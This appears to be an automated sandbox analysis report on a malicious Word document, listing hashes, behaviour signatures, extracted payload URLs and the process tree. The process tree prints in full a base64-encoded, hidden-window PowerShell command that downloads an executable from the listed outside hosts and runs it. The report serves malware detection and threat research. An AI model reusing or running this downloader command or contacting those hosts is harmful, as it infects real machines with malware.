Analysis
-
max time kernel
119s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
20-11-2024 21:49
General
-
Target
3fd7e4fa720f2f7f604709808895d5bf488618ac295de97120ad1a3a8a296009.doc
-
Size
177KB
-
MD5
cef4ead9e2724f482eee71be641fd73f
-
SHA1
3bb8b7be1e1b65faf70fc53206e39aa0a1b7087b
-
SHA256
3fd7e4fa720f2f7f604709808895d5bf488618ac295de97120ad1a3a8a296009
-
SHA512
7012df4bd9bb093e22e3fbfd1a244cdf335f2c63f1a59fd13994847ba5b670f792aa02793d0ac3d5f59469900c37fa0fe8c26077eafccdc13d7c934554e25f2c
-
SSDEEP
3072:te2y/GdyDktGDWLS0HZWD5w8K7Nk9+D7IBUsQdY/R9LG3:te2k4TtGiL3HJk9+D7bsuOLL2
Malware Config
Extracted
http://trendinformatica.eu/arcfabrics/i88ixy9/
http://theomelet.com/wp-content/fQd/
http://kgd898.com/wp-admin/h45mi/
http://idealssschang.com/calendar/60PcB/
http://happiness360degree.com/wp-admin/fj/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 2 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3fd7e4fa720f2f7f604709808895d5bf488618ac295de97120ad1a3a8a296009.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABHAGsAYgBlAGkAbgBoAG4AZAB4AD0AJwBKAHMAawB0AHoAYgBxAGgAdgBpAHIAaQAnADsAJABHAHIAegBoAHAAaQBsAGMAeQAgAD0AIAAnADUAMAA2ACcAOwAkAFYAZQBnAGsAcAB2AGgAbABjAGUAbwBiAD0AJwBIAHcAaAB5AHcAcQBvAGYAcABtACcAOwAkAE4AbgBkAHMAcgBuAGcAcwBrAHAAdAB1AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABHAHIAegBoAHAAaQBsAGMAeQArACcALgBlAHgAZQAnADsAJABCAHAAeQBzAHMAcgB4AHQAbAA9ACcATQBzAHoAYwBoAGgAbwBsAHoAbwB2AG8AbAAnADsAJABFAG8AZgBpAGMAbwBnAHEAaQA9ACYAKAAnAG4AZQB3AC0AbwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAAbgBFAFQALgB3AEUAQgBDAEwAaQBFAG4AVAA7ACQAUwBhAHcAawB2AHkAYwBrAHgAegBzAD0AJwBoAHQAdABwADoALwAvAHQAcgBlAG4AZABpAG4AZgBvAHIAbQBhAHQAaQBjAGEALgBlAHUALwBhAHIAYwBmAGEAYgByAGkAYwBzAC8AaQA4ADgAaQB4AHkAOQAvACoAaAB0AHQAcAA6AC8ALwB0AGgAZQBvAG0AZQBsAGUAdAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGYAUQBkAC8AKgBoAHQAdABwADoALwAvAGsAZwBkADgAOQA4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBoADQANQBtAGkALwAqAGgAdAB0AHAAOgAvAC8AaQBkAGUAYQBsAHMAcwBzAGMAaABhAG4AZwAuAGMAbwBtAC8AYwBhAGwAZQBuAGQAYQByAC8ANgAwAFAAYwBCAC8AKgBoAHQAdABwADoALwAvAGgAYQBwAHAAaQBuAGUAcwBzADMANgAwAGQAZQBnAHIAZQBlAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBmAGoALwAnAC4AIgBzAHAATABgAEkAVAAiACgAJwAqACcAKQA7ACQAUQB2AGYAcABwAHUAagBoAHQAcgA9ACcATAB4AGUAagBhAHgAegB1AGcAdwAnADsAZgBvAHIAZQBhAGMAaAAoACQAQQBxAGkAdwBvAGUAbABiAGwAIABpAG4AIAAkAFMAYQB3AGsAdgB5AGMAawB4AHoAcwApAHsAdAByAHkAewAkAEUAbwBmAGkAYwBvAGcAcQBpAC4AIgBEAGAAbwBgAHcAbgBMAE8AQQBEAEYASQBgAEwAZQAiACgAJABBAHEAaQB3AG8AZQBsAGIAbAAsACAAJABOAG4AZABzAHIAbgBnAHMAawBwAHQAdQApADsAJABZAGEAYQBiAHQAZwBhAG0AaQA9ACcAQwBuAHYAdQBjAGMAawBnACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQATgBuAGQAcwByAG4AZwBzAGsAcAB0AHUAKQAuACIATABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADgANQAzADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAYQByAHQAIgAoACQATgBuAGQAcwByAG4AZwBzAGsAcAB0AHUAKQA7ACQAQwBvAHYAZgB1AHEAbQBwAGMAdQBoAHgAcgA9ACcASQBvAG4AcQBhAGIAYwB3AGIAdgBlAGQAJwA7AGIAcgBlAGEAawA7ACQAVwBwAGMAbgBiAHkAbQBmAG8AbABrAGEAPQAnAEYAdQBxAGUAZgBpAHUAdgB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFcAegByAHQAagBxAG0AcAB4AGcAZQBmAD0AJwBRAGgAYwBhAGIAZwBhAGgAdwBxAGgAJwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
444B
MD5c3028a7893c81a444da0d2dbc36d47ad
SHA1e6266c19566ccfb29d26431138a1c7cecf609b59
SHA25627b6691f2f6a1acca76430a20b9d880a9560f01186f4c0e526f61748c6ceeb31
SHA512989fc698f5ecab5d0f098ce6e722d426db2e47486bbd9012a05d1c4b7ee2c6ed27f3c5fa1d8e8e4b2d9017e4aa51d67e7d990220d595af271258498274fbf9f8
-
Filesize
32KB
-
Filesize
2.9MB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
64KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB